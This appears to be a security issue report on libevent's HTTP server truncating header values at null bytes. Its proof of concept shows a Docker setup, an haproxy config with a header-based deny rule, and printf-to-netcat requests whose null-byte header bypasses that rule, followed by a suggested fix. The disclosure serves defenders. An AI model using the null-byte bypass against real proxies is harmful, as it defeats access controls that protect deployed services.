#1810·libevent

HTTP parser truncates headers at null bytes

Author: kenballusCreated Sep 3, 2025Updated May 25, 2026

Summary

libevent, when acting as an HTTP server, truncates header values at their first null byte. For example, when libevent receives the following request,

GET / HTTP/1.1\r\n
Host: whatever\r\n
User: admin\x00this-gets-ignored\r\n
\r\n

it sees the User header as having the value admin. This can cause problems because many popular HTTP proxies allow null bytes within header values (even though this violates the standards). Thus, this discrepancy can be used to defeat those proxies' request filtering capabilities.

PoC

(This PoC demonstrates how this bug can be used to bypass an haproxy ACL.) 0. Start a Debian Bookworm container.

bash
docker run --rm -it debian:bookworm-slim
  1. Install dependencies:
bash
apt -y update && apt -y upgrade && apt -y install haproxy git make gcc cmake netcat-openbsd
  1. Build and run the libevent example HTTP server on port 8000:
bash
cd ~ && git clone 'https://github.com/libevent/libevent' && cd libevent && cmake . && make -j`nproc` && mkdir -p /var/www && ./bin/http-server -H 127.0.0.1 -p 8000 /var/www &
  1. Copy the following into /etc/haproxy/haproxy.cfg:
global
    maxconn 4096

defaults
    mode http
    option http-keep-alive
    timeout client 10s
    timeout connect 10s
    timeout server 10s
    timeout http-request 10s
    http-reuse always

frontend the_frontend
    bind 127.0.01:8001
    http-request deny if { req.hdr(Test) -m end evil }
    default_backend the_backend

backend the_backend
   server server1 localhost:8000
  1. Start up haproxy:
bash
haproxy -f /etc/haproxy/haproxy.cfg
  1. From another terminal (in the same container) send a request to verify that requests with a Test header value ending in evil are denied, as specified in the haproxy config:
bash
printf 'GET /dump HTTP/1.1\r\nTest: i-am-evil\r\n\r\n' | nc localhost 8001
  1. Observe haproxy's response, indicating that the ACL works:
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html

<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
  1. Bypass the ACL by exploiting the facts that (1) libevent truncates headers at null bytes, and (2) haproxy forwards null bytes as-is:
bash
printf 'GET /dump HTTP/1.1\r\nTest: i-am-evil\x00this-gets-ignored\r\n\r\n' | nc localhost 8001
  1. Observe haproxy's response, indicating that the request was not blocked:
HTTP/1.1 200 OK
date: Mon, 29 Jan 2024 20:45:54 GMT
content-length: 0
content-type: text/html; charset=ISO-8859-1
  1. Observe that libevent logged a request that bypassed haproxy's ACL:
Received a GET request for /dump
Headers:
  test: i-am-evil
Input data: <<<
>>>

Suggested fix

Deny requests with null bytes in header values. This is both what the standard requires and what the vast majority of HTTP implementations do.